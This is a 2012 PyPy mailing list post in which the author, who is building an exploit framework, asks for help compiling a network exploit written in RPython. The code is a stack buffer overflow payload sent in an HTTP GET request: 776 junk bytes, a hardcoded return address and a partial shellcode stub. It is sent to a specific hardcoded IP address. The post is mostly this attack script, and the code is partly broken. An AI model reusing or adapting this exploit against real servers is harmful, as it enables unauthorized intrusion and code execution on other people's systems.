[pypy-dev] pypy rsocket problem
Andrew Evans
andrew.rustytub at gmail.com
Sun Feb 5 04:18:42 CET 2012
Hello I started developing a small exploit framework in Python about a year
ago. I will be honest I did not get very far due to lack of commitment. But
I wish to start on this project again, my idea is simple I want to write
this in PyPy using RPython and be able to compile the exploits into
executables.
So far with help from this mailing list I have been able to compile
local_exploits (ones that do not take advantage of any networking) and I am
now working towards developing a network based one as a trial. I like to
test the water before I jump in
However I am having troubles compiling this one and am unsure how to
diagnose any errors and would appreciate any advice any of you have to
offer.
Below is my code
I removed the shell code if you wish me to post all of it please respond
with that
from pypy.rlib import rsocket
from pypy.rpython.lltypesystem import lltype
from pypy.rpython.lltypesystem import rffi
def main(argv):
PORT = 8080
JUNK = "A"
ret = "\x67\x42\xa7\x71"
mycode =
("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49")
request = "GET /"
for i in range(776):
request = request + JUNK
request = request + ret
request = request + mycode
request = request + " HTTP/1.1"
request = request + "\r\n"
ptr = rffi.str2charp(mycode) # returns a "char*" pointer
print ptr
print len(request)
s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM)
target = rsocket.INETAddress("85.25.149.220", 8080)
s.connect(target)
s.send((ptr, len(request), 0))
return 0
def target(*args):
return main, None
*cheers
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/pypy-dev/attachments/20120204/72a83a2a/attachment.html>
More information about the pypy-dev
mailing list